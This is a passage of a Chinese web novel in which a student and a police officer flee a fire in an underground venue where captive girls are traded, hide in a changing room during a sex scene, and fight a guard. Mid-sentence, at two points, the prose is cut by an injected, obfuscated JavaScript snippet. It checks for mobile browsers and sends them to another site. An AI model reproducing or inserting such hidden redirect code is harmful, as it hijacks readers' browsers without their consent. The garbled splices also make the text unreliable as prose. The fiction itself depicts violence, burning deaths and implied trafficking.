另一个听不懂她在说什么,粗鲁地拉起她:“走了,食主在等你。” 黄毛制止道:“她这副样子怎么行,好歹和大食主说一声。” “要说你去说,盛先生发起威来也是会拧头的,我可不敢!唉,那替班到底野去哪了,快叫他回来,我不想摊上事啊……” “你还指望他,八成早就被蝴蝶办了吧。” 咽喉处像吞了刀片,反复剐着红肿的肉,邓烟雨脑壳隐隐作痛,咬紧牙关站起来,一边往前走一边沙哑问着:“蝴蝶……在哪……” “邓烟雨,”黄毛拉住她,“你跟我们走,我们带你找蝴蝶,”转而和同事挤了个眼色,小声说,“先带她去洗干净。” 黄毛哄骗她往东侧A区通道口走去,下了台阶,进了电梯,乘到负三层。 栅栏门一开,他们就看见走廊中间的灯熄了一排,有个身形清瘦的男仆站在人字梯上修灯。 “干嘛呢你?” “灯坏了,闪得跟闹鬼似的,”男仆闷声说,“夏琳姐叫我来换灯泡。” “夏琳呢?” “她带人在下面清点,”男仆旋着玻璃罩,说,“今年收成不错,条子不管我们了,老俞挑上来都是好货,明儿还能再开一场大的。” 邓烟雨没听他们说话,脚踩软毯,步子歪歪扭扭,浑身在滚烫和冰冷之间来回炙烤,没走几步就扶住墙,吃力地喘。 “盛先生这回赚了,吃上块‘红烧肉’。” “你有本事当着先生的面说。”黄毛和他话不投机,无语地撇撇嘴。给邓烟雨专用的休息室在长廊尽头,走到一半,他倏忽止步。 “你听,什么声音?” “嗯?” 他们眯眼,凝神谛听前方的动静,修灯泡的也停止了手中的活。 地面貌似不太平静,杂乱无章的脚步声从不远处的楼梯口震过来,当中还夹杂着“滴——滴——”的尖锐鸣响。 好像是烟感器的报警声。 他们错愕地对视。 “快快快!上去!” “往上跑!” 呼喊声纷纭,下一秒,不计其数的白衣女孩如白鸽破笼,乱哄哄奔涌而来,大多数没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579308|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在负三层停留,直往楼上冲。 “这不是仓库里积压的拍品吗!” 负二层的楼梯口被一扇铁门缩着,她们逼不得已只能退至楼下,花架上的洋牡丹被风带到扫翻,狭窄的走廊顷刻人满为患,挤得无处落脚。 黄毛下意识揪住邓烟雨,往边上靠:“发生什么了?” 话音未落,脚底轰一声巨响。 “着火了!快逃啊!” 女孩们大叫着狂奔过来,黄毛的同事连声“救命”也没喊出喉,当场被汹涌的人潮掳远了。 “兄弟!”黄毛悲壮地伸出五指,却见他已淹没在人堆里。 “喂喂喂小心点啊,别撞我。”梯子上的男仆眼看一大群姑娘乌泱乌泱把自己围了起来,吓得伸手抵住天花板。 她们没梯控卡,扭头往回跑,撞上了刚从楼上退回来的女孩:“上不去,负二层有铁门锁着,也要门禁!” “消防通道在哪?!” “不知道啊,怎么办,火烧上来了!” 负四层的人一个不落,统统堵在这条说长不长的走廊上,女孩们走投无路地干着急,有人惊慌失措跑向电梯口,拍打栅栏门,或抓着黄毛凄声哀求:“放我们出去吧!楼下已经烧死人了,我们也会被熏死的!” 黄毛哪有这个权利,他梗着脖子大喊:“夏琳!” “我在这——”女郎紧追其后,头发乱得像鸡窝,脸上妆也熏黑了,抱着楼梯扶手,“楼下失火了!” “早知道了!”隔着人山人海,黄毛费劲地扯开嗓门,“楼下着火,关仓库什么事!火把仓库的门烧坏了?!” “着火点就在仓库啊,不把她们放出来,烧死怎么办?!已经闷死两个在里头了!”女郎说,“现在下面一团乱!” “和我说有啥用!灭火去啊!” “阿豪在灭了!你凶我干嘛!神经!” “你——”黄毛气道,“赶紧叫阿豪他们来逮回去,一旦惊着大食主,我们开罪不哎呀呀呀呀疼——!” 邓烟雨忍耐够久了,趁其不备,张嘴咬住黄毛的虎口,黄毛疼得直跺脚,条件反射把人甩开了。 她一眨眼逃了。 “夏琳,先别管她们!”黄毛嘶着气,没眼去看虎口带血迹的牙印,崩溃地叫着,“金丝雀逃了!抓金丝雀!!” 夏琳并没回答他,另一头又是炸出一波哀嚎。 “哎——哎,你干嘛,别拉我,这是要干嘛!” 不知哪个女孩带的头,三步并两爬上梯子,把高处的男仆拽了下来,女孩们气势咄咄骑到他身上,开始扒人衣裤。 “不不不别摸我!嗷!你们疯了!别扒我裤子!来人啊——”这个弱不禁风的男仆哪敢还手,就这么被一群女孩压在底下,提着皮带,无助地哭叫。 “我翻到他的卡了!快!” 她们一阵风般地卷走了,独剩男仆一人,脸上面具掉了一半,下半身给脱了个精光,羞耻地呜咽着:“我只是来换个灯泡……” “别哭了!起来!”黄毛抓起地上的裤子,揉成团一把甩他头上,“金丝雀逃了!找人啊!” 温茉的死讯尚未传到这些人耳朵里,听说雀儿逃了,他们一个劲地找起了红裙子,可放眼望去全是白花花,夏琳纳闷了,高声问着:“温茉在哪里?” 屁个温茉! 黄毛一脚踩在倒地的同事身上,也没心思道歉,怒喊着:“穿白裙子!胳膊受伤那个!胳膊受伤的!!” 凄惨的尖叫穿透力十足,响破负四层,一个全身燃着熊熊大火的女孩连滚带爬摔上来,犹如从地狱里拖出的厉鬼,爬到负三层的走廊上求大家救她。 “上帝……”夏琳砸碎墙边的灭火器箱,刚拉掉保险销,女孩已经把火引到别人身上,她们就像一点即燃的导火线、栓在一条绳上的蚂蚱,呼啦一片不可收拾地蔓延开来,一时间惨叫声此起彼伏。 夏琳喃喃着完了,冲她们喷出干粉,踹开数具焦尸:“阿豪,你个挨千刀的到底有没有在灭火啊!” 未被波及的女孩哭喊着往电梯里逃。 嘭! 头顶猛然炸响一声,消防喷淋的热敏玻璃管破了,水花顿时四溅,下起瓢泼大雨,烟感器也敬职敬责地发出尖利爆鸣。 “不要让她们坐电梯!”黄毛淋了个湿透,索性摘掉碍事的面具,撵鸡崽子似的撵着姑娘们,“都回来!别跑了!火已经灭了!” 这层火势不大,水一浇就剩烟雾蒸腾了。邓烟雨谨慎地弯身逃窜,好不容易挤到灭火器箱那,迅速抢了一盒自救呼吸器,想找个地方暂时藏身,不防人流实在凶猛,径直推着她冲向电梯口,黄毛怕她借电梯逃,正拦在那里翻来覆去地找人。 危急关头,她突然被拦腰截住,往后拖去。 好大的力气—— 低头一看是黑西装,她心头剧惊,使出吃奶的劲捶打:“不要!” 他力量太大了,邓烟雨被他拽到墙边,按了什么,墙体翻转了一面,随即刷卡的滴音响起,她被拖进一个空间,沉重的大门砰地关上。 里面光线幽晦,气味阴冷,邓烟雨吓疯了:“你要干什么?!放开我!!滚开!!臭流氓!!变态!!我杀了你!!” 她像只应激炸毛的猫,挥舞爪子,厉声大骂,还要死要活地踢他,重重一脚踩得他一叫。 “小雨是我!” “……” 世界一下子安静了,昏暗隐秘的空间里,两个人的喘息紊乱交织着。邓烟雨感受着他搂紧自己的力度,木然回过头。 他脚麻了,人往墙上一靠,松开邓烟雨,摘下纯黑面具。 安全出口指示灯泛着阴森森的绿光,披满他一身。男人十分狼狈,健硕的肩臂大面积染血,腹部有严重的捅伤,衣衫不整,黑发也散了乱了,几缕发丝微卷着挂落额前,徒增几分困兽萎靡的味道。 黑发下,那枚耳钉光感碎裂纯净,他的眼眸带着小心翼翼,看向邓烟雨。 邓烟雨和他四目相对,目光定了定,再往下移,心口狠虐地一绞。 “公冶……警官。” “嗯。” “你……”他遍体鳞伤,半条命快丢了,邓烟雨心痛得要裂开,噙着泪,哽咽出声,“你受伤……” 公冶不愿她再看自己身上这些窟窿坑洼,手一伸,将人揽进怀里。 “对不起,”他忍着烧伤的剧痛,说,“我来晚了。” 56. 呜呜呜 一个轻轻的拥抱便给邓烟雨带来了无限的安全感。她忽然什么都不怕了,额头抵着他胸膛,贪恋地靠近了一点。 是熟悉的气息,是她最喜欢的气息。 不过分别几小时竟然想成这样,往后一整个寒假见不到他该怎么办。 邓烟雨偷偷索取着他的体温,他的香味,发热的脑子神游天外,没察觉对方也在努力克制加速的心跳。她想抱回去,环起的手顺势一松,一直揣在臂弯里的自救呼吸器直直坠落—— “啊!” 公冶惨叫一声,瘸着脚放开了邓烟雨。 “对、对不起公冶警官!”盒子硬邦邦的,当暗器确实好使,但邓烟雨绝对没想用它来暗算公冶,“你没事吧!我不是故意砸你的!” 砸的那只脚还是邓烟雨刚刚使劲踩过的。旧伤未愈又添新伤,公冶痛得脾气都没了,摆了摆手。 好好的气氛毁于一旦,邓烟雨像个犯错的小孩,内疚地揪住裙子,借着微弱的光线,她看见他西装下有渗血的迹象。 此刻受损的皮下组织正处于快速恢复阶段,细细密密的刺痛传递给神经。公冶隐忍着,问她:“除了额头和胳膊,还有哪里受伤?” 邓烟雨:“没有了。” “血止住了?”公冶伸手去探她额头,感受了会儿,“没烧太高……” 邓烟雨愣了愣,失笑:“你是温度计成精了吗,这也量得出。” “这个时候还有心情笑。” “你来了我就不怕了,”邓烟雨避开他的伤,重新扑进他怀里,整个人放松地闭眼,迷迷糊糊说,“我甚至感觉我快退烧了……” “不要睡,我们马上出去,”公冶拍了拍她的背,捧起她灰扑扑的小脸,认真擦拭着,“他们给你吃药了吗?” “好像是吃了一粒?” 她身体暖洋洋地烧着,手却凉透了,只怕伤势不轻,退烧药有一定消炎作用但不治本,必须尽快带她去医院。 公冶看她衣着单薄,脱下了自己的外套,邓烟雨乖乖穿上,环视黑暗的四周。 他们在消防通道里,防火门那端寂静无声,安全出口散发着荧光绿,把再无第三人的楼道营造出诡异的氛围感。 邓烟雨适应了光线,往他身上看。这人今晚穿戴十分讲究,有种纸醉金迷的美,她淡定地端详一阵,说:“以前没见你戴耳钉,你有耳洞?” 意识到自己的形象已经离谱得可以放进警示教育片当反面教材了,公冶立刻摘下耳钉:“没耳洞,这是耳夹。” 身材要好,皮囊要好,活要好——这三大法则,是公冶从一个偷溜出去进货的男仆口中打听来的。 “你要去下面赚钱?可以啊,你脸达标了,就是这一身太素了……” 卡萨游乐园早已闭园,两个大男人倚在双层旋转木马的围栏前,胸口纹满花红柳绿的男仆甩了甩烫染的长发,从挽起的袖口内侧摸出一根烟,咬着说:“头发打打蜡,领子解解开,有胸肌就露一半,你身材锻炼得不错啊……到时候衣服记得挑小一码,裹紧点,啊还有,这个给你,耳钉,戴一边够了,她们百分百好你这款。” 一枚黑曜石在月色下浮夸地折射着。公冶转动它,轻描淡写地问:“一定要戴吗?” “戴吧戴吧,你既然想赚钱,好歹要进去内场,不然见不着姐姐们,又有什么意思?”男仆对着夜色喷云吐雾,“对了,电子设备一律不得带,抓到了你就自求多福吧……话说哥们儿,你有介绍人吗,你搁哪来的啊?” 公冶本想刺探完情报直接过河拆桥,先捡了他的装备再说,聊过发现他是个不带脑子的,于是柔和一笑:“我的介绍人不就你么。” 介绍人能捞好处,这傻仔真信了天上掉馅饼砸中自己,职业底细一概不验,乐呵呵领着个死神下去报道了。 邓烟雨接过精致的耳钉,捏在指尖玩:“那你还愿意戴吗,我下次买一个更好看的给你。” “不戴,耳垂疼。” “戴嘛,好看的。” 公冶面露难色。单位没有明确禁止不能戴,可到底显得不正经——他爹便是个很好的例子。 “负四层火势很大吗?” 公冶默然片刻,说:“挺大的,着火点在仓库,应该是有人为了逃出去故意纵火,没控住火势。” 只要不波及游乐园,地下无论整出多大的幺蛾子,警方也不会过问,他一个人没办法救所有人,即便那些女孩曾哭号着向他伸出一只只的手。 在公安这些年,他侦办无数起命案,见惯了生死,可今晚,他几乎和杀人凶手无异,眼睁睁看着大火把那么多鲜活的生命连同自己的人性一并吞噬了,一声声哭吼就在他耳边燃烧—— “认清现实吧,你以为你是神吗,你以为你永远可以救人吗?” “救不回来了,救不回来的!” “好好看清楚,好好想想!至今牺牲的公美都得到了什么!他们的父母子女又承受着什么!在世人眼中,英雄可以长着獠牙一边吃人肉一边救人命吗,真是滑稽!” “渡莲,善良是要付出代价的,总有一天你会后悔!” 面具后的双眸笑出了泪水,那个人疯癫的咆哮近在咫尺。 “公冶警官?”邓烟雨见他不动,摇了摇他的手,“我们接下来去哪?” “先去负一层,蝴蝶的卡无法直达一楼,”公冶调整好状态,踩上台阶,“可以从负一层的娱乐大厅穿过去。” “你有蝴蝶的卡?” “他不给,我只好抢了,”公冶一指自己的腹部,“不然我这伤哪来的。” 邓烟雨垂眼盯着,淡淡开口:“这是肾的位置吗?” 公冶:“……” 邓烟雨连忙摆手:“你别紧张,我随口问问的。” 她捡了自救呼吸器,跟着一语不发的公冶往楼上走,楼道遍布踩台阶的细碎动静,半晌,前方传来稍显忸怩的一句:“……我肾没问题。” 邓烟雨:“嗯?” 邓烟雨:“……” 邓烟雨:“我能笑吗?” 公冶:“不能。” 拉开负一层防火门,外面狭小的隔离区域黑得伸手不见五指,唯有一点红光闪在墙上。公冶刷了门禁,推动隐藏门。 走廊一派安详,并无人影,尽头有扇雕花玻璃木门。公冶先冒出来,邓烟雨紧随其后,心猛地一跳—— 之前光线昏暗,没看出他受伤程度,如今出来了,才发现他半条手臂都被鲜血染红。 他牵着她往后走,来到更衣室门口。 “要换衣服吗?” “嗯,带着血去娱乐大厅太明目张胆了。” 更衣室不分男女,宽敞得像间图书馆,每列柜子中间横着换衣凳。他们查看了一圈,确定没有旁人在。 邓烟雨跨过地上乱丢的短裙,将手中那盒暗器随意一搁:“柜子都锁着,打不开。” “来这。” 邓烟雨循声往最里面走去,公冶正蹲在那,指甲一划,胶带密封的大纸箱子轻松打开了。 “哇哦,你的指甲原来可以这样用啊,那以后能帮我拆快递了。” “拆多了我会嫌弃我的指甲。” “啊?为什么?” “会沾染塑料的气味,我不喜欢这个味道。” “那就剪了呀,”邓烟雨蹲在他身边,“我在博物馆了解过,美食家的指甲剪了也会再长出来,而且比之前的更尖更有光泽,好多女性美食家为了涂指甲油好看,特意剪光旧的,然后养出娘娘们一样的长指甲。” “博物馆怎么还有这种科普?”公冶无奈地叹气,问,“你穿几码?” “S。” 公冶翻到底也没找到S,衣服太宽松容易引人注目,最好还是穿合身的。 邓烟雨托腮四处瞅瞅,搬出条凳下的纸箱:“这个箱子里呢?” 纸箱上用记号笔潦草写着“Maid”,他们没注意,打开来一看,里面塞满了女仆装,蕾丝缎带,花样百出,应有尽有。 “……” “……” 邓烟雨拈起一条丝袜,和他幽幽对视。公冶觉得太扯了,准备合上,邓烟雨喊了声“等等”,从中拿出小号的黑白裙,站到穿衣镜前在身上比了比,兴冲冲地转头:“好像有点合适诶。” 公冶欲言又止:“它……” “我看有几个苗条的女郎就穿女仆装的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579309|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这个子也只能驾驭它了,”邓烟雨推他,“再不换就来人了,你去前面帮我守着。” 邓烟雨换衣服期间,公冶在玻璃柜里找到了消毒药物,简单处理了伤口,换上干净的衬衣西装。 条凳上放着女郎专用的红色半脸假面,正好借来给她戴。 邓烟雨换好出来,公冶让她坐凳子上,拿出一盒隐形眼镜,里面用护理液泡着两片暗绿色美瞳。 绿色美瞳在国内严禁流通,但黑户美可以从任何地方搞来,公冶找纹身男买了一盒。 “以前戴过吗?” “没有。” “可能会有点不舒服,稍微忍耐一下。” “好。” “眼睛睁大。” 有些冰凉,邓烟雨眨了几下,很快适应了。她满怀期待地问:“怎么样?” 公冶蹲在她跟前,点头:“像美食家。” 邓烟雨嘟了个脸:“我是问好看吗?” “好看,”他为公主举起小圆镜,“超可爱,小恶魔风。” 镜子里,纤长睫毛轻遮着一双深邃的绿眼,宛如浓夜笼罩的山湖。邓烟雨凑近瞧了很久,明明只是换了瞳色,她竟有些认不出这张脸。 “别这样!” 门外传骚动,邓烟雨出于本能,拉上公冶飞快躲到最后一排,转念一想他们穿着工作服,从头到脚有模有样,倒也没必要躲。 邓烟雨趴在他胸膛前,用口型询问:要出去吗? 不等公冶回复,更衣室大门转开,随后是重重的关门声,像用人体撞上的。女人着急锁门,嗔怪道:“有人怎么办!” “哪里有人,鬼影都没一个。” “你……等等……嗯……” 衣物的摩擦声,压抑的呼吸声,唇舌纠缠的水声,在安静的环境里细腻地碰撞着,公冶听出了这是什么,眼睛都瞪大了。 怀里的人也预感到大事不妙,体温飙升,烫得像块炭。 他们尴尬得谁也不敢动一下。 “你个……混子……这时候乱来……” “宝贝,我急死了,就一次,你依了我吧。” 适可而止啊大哥大姐们!声音太清晰了! 几番撕扯下,女人衣服快挂不住,她同意了:“不能在这,去里面……” 什么?! 邓烟雨惊呆了,抬起头,通红的脸蛋撞进公冶眼底。 听着脚步声逼近,邓烟雨又慌又害羞,张口欲说什么。 公冶摇摇头,示意她别说话,下一刻他们靠着的柜子发出“嘭”的撞击,那两人就在柜子对面,男人把女人托起,抵在柜子上,开始干活了。 啊啊啊啊啊啊—— 邓烟雨要爆炸了,火车在她脑袋里亢奋地拉响汽笛,呜呜呜来回碾压她的理智,她难受得扭成一条泥鳅,公冶只好捂住她耳朵。 救命——快停下来—— 邓烟雨挠着他丝滑的衣服,抓得他胸口好疼好疼。 对面暂时不会换位置,公冶放开邓烟雨,指了指右边,邓烟雨颤抖地点头。 隔了一面薄薄的柜墙,声音在有规律地晃响,过程中夹杂着感叹词,女人哭得神魂颠倒,邓烟雨一边走一边默背《茅屋为秋风所破歌》。 结果没走出几步远,那两人冷不丁换了位置,女人被翻了个面,双手撑在柜子上,这一下正正撞在邓烟雨耳边,她眼泪都吓出来了。 公冶来到柜子另一端,等他们换去条凳上时,他鼓起毕生勇气,稍微瞥了个轮廓,确定男人背对自己,他一个闪身迈到前面的柜子那。 邓烟雨腿没力气了,跪坐在地上,脑袋火烧火燎。 公冶招手,叫她过来。 邓烟雨死命地摇头。 “没事的……” 那两人实在不节制,公冶轻微的声量都能盖过,邓烟雨知道再不过去,他们迟早被发现。 她合住眼,咬紧牙,大步一跨,跌进他怀抱。 公冶稳稳接住了人,拉上邓烟雨调头就跑。他们穿过一排排衣柜,火速冲到门口,刚握住门把,外面嘭嘭嘭炸响砸门声—— “开门!”一个暴躁的声音喊道,“谁在里面!赶紧开门!” 57. 觉醒 更衣室霎时陷入死寂。 公冶看向门锁,慢慢收回了手,将邓烟雨挡在身后。 “锁门干什么,里面有、没、有、人、啊——?” 女人已累惨,流着香汗,胸脯大幅度起伏,门把手咔嚓咔嚓拧响,躁怒的拍门声并未停歇。 “妈的……再不开门我踹了!” 她和身上同样粗喘的男人面面相觑几秒:“糟了,快起来!” 他们手忙脚乱捡衣服,男人扣着皮带跳出来。公冶没时间思考,带人撤到第一排柜子侧面藏好。 门外发出钥匙插孔的动静,男人和女人赶过来时,门已从外面解锁,一名戴墨镜的西装男面无表情退开,露出后头怒目切齿的黄毛。 “你们在干什么?啊?”黄毛刚从灾难现场回来,携了一身火气,像个行走的炮仗,“上班时间在更衣室干嘛,锁着门干嘛?偷情啊?!” 一针见血,男人脸刷的绿了。 “阿澄,误,误会……”女人柔滑点,抛了个媚眼,“说点悄悄话嘛……夏琳姐,你看你们,怎么都湿了……” 夏琳:“负四楼着火了,刚灭掉,我们上来换衣服。” “着火?出什么事了?” “和你们没关系,”黄毛心烦地喝斥,“滚去工作!” “哎!” 他们就等这句话呢,揣上面具麻溜地滚了。 夏琳解着西装纽扣往里去,黄毛跟在后面,扫视静悄悄的更衣室。湿透的衬衫黏着背,他陡然发作,朝旁边的桌子蹬了一脚。 “自己弄丢金丝雀,还要拿无辜的物件出气,这算什么道理嘛。”夏琳站在第二排柜子前,打开柜门。 “你还有闲情揶揄我?”黄毛扯松领带,脱掉外套,随手甩桌上,“金丝雀不见了,盛先生会宰了我的,天一亮我就要进炉子里烧成灰了!” “她要逃,一定会走该层的娱乐大厅,这是唯一的通道,”西服裙顺着夏琳的大腿滑下,无声坠地,“我们在出口堵着就是。” 公冶不露痕迹地侧首,抱紧发抖的邓烟雨。 “多派些人手把外围包了,会客室也安排上,见到一男一女组合的可疑人员立即动手。”黄毛若有所思走向夏琳,公冶趁此机会带着邓烟雨往外侧绕,大门即在前方敞开,需要横穿长长一排衣柜。 “未免也太兴师动众了,小心惊扰客人,”夏琳套上新裙子,拉链一提,合上柜门,“而且你说,一男一女?” “我认为金丝雀没本事单独行动,”黄毛脑海里浮现出某人的身影,叉着腰站定沉思,“那个新来的……是不是杀了蝴蝶?” 邓烟雨握紧公冶的手,加快了步伐,也在这时,夏琳推开黄毛,踩着高跟大步跨出,公冶立马拽住邓烟雨。 这节骨眼必然撞上,来不及了,他们不得不退回原位。 “火势没有钻进地牢,除非他们当时困在负四楼,”夏琳倚墙抱臂,食指在衣服上一敲一敲,“你也看到了,那些搬出的尸体能算尸体吗,亲妈来了也认不出哪块焦木和自己血脉相连,蝴蝶这会儿没音讯,保不准就躺在里头呢。” “能搞死蝴蝶,他有种,”黄毛说,“谁带他进来的?” “阿豪。” “这夯货,脑子被驴蹶了,什么毒魔狠怪都往下面放……他没死吧?去喊上来,他记得那家伙的脸,叫老妖画个肖像画,找樽丹分所的公美去问,他们今晚在北边的会所‘吃肉’,不到天亮不会走。” “你怀疑……?” “那家伙扮猪吃老虎,一看就是条子!樽丹的公美估计认识他。” 公冶眸色倏地暗下来。 “啊烦死了,我还当他诚心来请教发财之道,推心置腹分享了好多内幕,混球以为我好欺负耍我呢,你看着吧,等他落我手里,我先把他揍成猪头,再挑断手筋脚筋扭成个粽子打包了端给枭姐。” 夏琳听说过枭姐的食癖,难为情地捂嘴:“枭姐最爱吃肉紧的男人了,我替你送吧,免得她也把你吃了。” “你这时候知道担心我了!”黄毛嘴角的笑意尚未成形,视线定在自己的西装上。 随手甩在桌上的西装盖住了某个东西,隆起着。他走过去,揭开一看。 邓烟雨非常疲惫,在公冶怀里昏昏欲睡之际,猝然感受到一股恶意,犹如一条黑色巨蟒从冰冷的草叶中慢腾腾爬出,顺脊而上,缠绕了她全身。 她吓出一背冷汗,瞌睡顿无,慌张地看向上方。 公冶正悄无声息盯着黄毛。 他脖颈很是苍白,碎发凌厉遮眼,显得神情阴暗——令人胆颤的信息素抵抗着为剩不多的理性,毒意毕现地渗透出来。 从未在如此近的距离下观察他的变异状态,邓烟雨心跳漏了一拍,身体也因为他过于强大的气息麻痹住了。 “不提这茬了,你饿么,我快饿死了。”夏琳摸摸肚子,无形之中觉得后颈凉飕飕的,她扭头望去。 光线充足照射,衣柜整齐划一,并无异样。 “饿了啊?找仙人要肉,”黄毛将西装重新一盖,“走,我跟你一块去。” 大门关上,一室重归死寂,邓烟雨眨着发凉的眼睑,先松了口气。 她探出脑袋东张西望,公冶有所迟豫,仍是松开了她。 更衣室没开暖气,邓烟雨搓了搓冻僵的双臂,问公冶:“现在出去吗,还是等一会儿?”嘴上这么说,脚已经行动起来,往门口去。 不等她靠近,大门与衣柜夹角区域的光线被切断,公冶觉察出异样:“小雨!” “诶?” 邓烟雨应声回头,衣领在同一时刻高高吊起。 一只孔武有力的手臂如惊电闪出,勒紧她的脖子。邓烟雨呼吸受阻,双脚也被提得离地,她抓着这条手臂,艰难地大叫出声:“公冶警官!” “哦,公冶警官?我说得没错吧,公安养的好狗混进来了。” 黄毛挟持着邓烟雨,脸上笑得恶劣,夏琳也从他身后徐徐走出,手中掂着盒自救呼吸器。 “百密一疏啊,马脚好歹藏藏严实嘛。” 公冶的面色仿佛冰封,不见一丝裂隙,和黄毛冷淡对视:“你先放手。” 黄毛懒洋洋地歪头,似乎没听懂,拇指摩挲着邓烟雨的下巴,邓烟雨感到极其不舒服,躲开时发现他虎口的伤已然痊愈。 “小别胜新婚,”当着公冶的面,黄毛俯身,亲昵蹭着她脸蛋,“一会工夫没见就生龙活虎了,你烧退了?” “说什么啊你!”邓烟雨感觉他在故意气公冶,狠狠扭过脸。 “戴着美瞳也怪有意思的,别摘了,”他和夏琳相视一笑,逗弄着到手的小花雀,对那人说,“哥们,你受了很严重的伤啊,要不要紧?给你叫个车去医院挂急诊看看吧。” “放手听不懂吗,”公冶的目光像片死水,拳头攥响,“离她远点。” 黄毛眼底爆着火星子,轻舔獠牙,说:“我要不放呢?” 他指甲如弯钩,绞着邓烟雨吞咽之处,夏琳不料他会做到这等地步,记起他今天还没进食,微讶地张口:“喂,你别犯病……” 今晚三灾八难没件好事,心情本就吃了狗屎一样坏,黄毛成心要跟公冶作对到底。 他用劲掐着这根娇嫩易折的脖子,指尖往肌肤里挤压,一颗鲜艳的血珠赫然钻出,滴在他虎口上。 房间内气温骤降,只剩邓烟雨压抑的闷哼,黄毛温热的唇往她颈上一靠,吐露暧昧的声息:“有能耐,你来抢啊。” “……” 公冶一声不吭,就看着。 然后笑了。 “你笑……” 一阵强风袭至耳畔,伴随猎食者的恐怖气压,夏琳睫毛忽颤,一口气惊住吸不上来,只见前方有血飙出。 黄毛根本不知是什么怪物过来了,鼻子凉了半截,喷出股灼热的液体,他嗬了一声,迷茫地望向天花板,下巴疼得丧失知觉。 又是残暴的一拳,黄毛整个人撞翻桌子,重摔在地,左腿骨折了。 吊着理性的那根弦烧断了,几点水绿光色在公冶眼睛里闪灭波动,仿若震颤的灯火。他骨骼出奇地痒,四肢百骸热到沸腾,血液乱七八糟疯淌,此刻只想撕碎点什么——什么都好。 “小畜生……!!”黄毛杀人的心都有了,尖爪破空划出,公冶侧身避开时被抓碎了点头发,无名的愤怒冲击上来,他提着人头发,照柜子上一掼,铁皮顷刻间撞凹,人也像摊烂泥滑落下去。 黄毛痛得说不出话,咳出了血。 “知道我是公美,还敢大言不惭挑衅我?这点蚊子咬的伤都不够我玩,你可怜谁呢?” “你说要把谁揍成猪头?” “你要挑断谁的手筋?” “你倒是起来啊。” 黄毛被揍得趴在地上,最后都不动了,邓烟雨看傻了,慌忙扑过去搂住公冶的腰,往后拉:“不要打了!可以了!够了!不能再打了!” 夏琳也如梦初醒,冲上前,把黄毛从暴雨般的拳打脚踢下急急拖出:“好了好了!我们不会揭发你们的!别打了别打了!停下!” 她们抱着各自的男人向后撤,四个人皆在剧烈喘息。 “你个……杂种……混血的脏……东西……”黄毛肿成猪头脸,鼻血汩汩如喷泉,他伸出中指,颤颤巍巍一竖,满嘴咒骂“狗杂种”。 “你纯种,”公冶浑身也乱得很,黑发下的瞳仁闪着阴鸷的光,“不照样被我揍得半死在地上爬,垃圾。” “你敢……骂我……你这疯狗,你才是垃圾!混血的都是垃圾!!” “哈,”公冶笑了,“那你是被垃圾揍趴了吗,真好笑。” “你——有种再说一遍!!” “谁要给你再说一遍!有本事骂我没本事打回来吗?!你来啊!!” “操!小畜生以为我不敢?!你就比我高一级他妈拽什么拽?! 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或许恶鬼难得大快朵颐了一顿,决定暂且放过公冶。它匿回了黑暗里,浅绿光芒越来越碎,最后在瞳孔深处熄灭。 他轻颤了一下,变回原来的样子,低头去看战战兢兢的邓烟雨。她下巴被捏红了,脖颈也弄出了点点痕迹。 “我没事,擦破点皮,”邓烟雨注意到他的视线,生怕他再度失控,用头发仓促遮住脖子,抬眸问,“还打不打了?” 公冶:“……不打了。” 邓烟雨放开他。 对面有气无力哼哼着,公冶听在耳里,表情冷漠,揉了揉发麻的手腕,从兜里摸出创口贴,为邓烟雨贴上。 “你刚才吓到我了……”邓烟雨握住他冰凉的手腕。 “我自己也吓到了,”公冶怅然若失,“可能是受伤的缘故。” 她挨近一点:“真的没事了?” 他稍微点了点头,让邓烟雨安心,然后看向黄毛。 邓烟雨拉住他:“别管了,我们走吧。” “等等,”公冶想了想,走过去,在黄毛跟前蹲下,说,“做个交易吧。” “你你别靠近我!!”黄毛吓得往夏琳后边逃,口齿不清地哭诉,“你是要做交易的样子吗?!” “我不打你,也会好好说话,当然你也不许再把‘混血的都是垃圾’这种话挂在嘴边,”公冶渡莲站起来,俯视他,“否则地球上有多少个混血美食家,我就往你脸上揍多少拳。” 公冶语气平静寻常,却吓得夏琳有那么一刻想放弃黄毛,管自己逃。 “草……”黄毛本能地感叹一声,防着他,抖着唇说,“不骂就不骂……你以为我乐意骂你啊……” “好,”他垂眸,“这样,你带我们出去,我给你揍回来,绝不还手。” 夏琳找来纸巾,给黄毛塞鼻血:“这种掉脑袋的交易,我们不会接的。” “你们尽管开条件,”邓烟雨躲在公冶背后,一脸正经地说,“在力所能及的范围内,这位美男会尽一切满足你们。” “还美男……”黄毛揩着嘴角的血,“他就是个恶恶恶魔!” 邓烟雨辩驳:“就算是恶魔,也是个倾国倾城的绝美恶魔。” 绝美恶魔冷冷立在那,态度友好地威胁:“开条件吧,说到做到。” 夏琳没作声,黄毛咽了口唾沫,口气凶恶:“哼,想得倒挺美,放你们出去比翼双飞,我还有活路吗,和我谈条件?没、没得谈!” “他怎么这样,”邓烟雨反派似的,说,“你索性毁尸灭迹算了。” 公冶和她交换眼神,配合道:“也行,你都这么说了,也只能这么办了。” 黄毛看着邓烟雨,她在笑,可眼里盛的全是冷意:“你这小孩,心肠咋那么坏呢,我喂你水喂你药的,你就这么对我?” 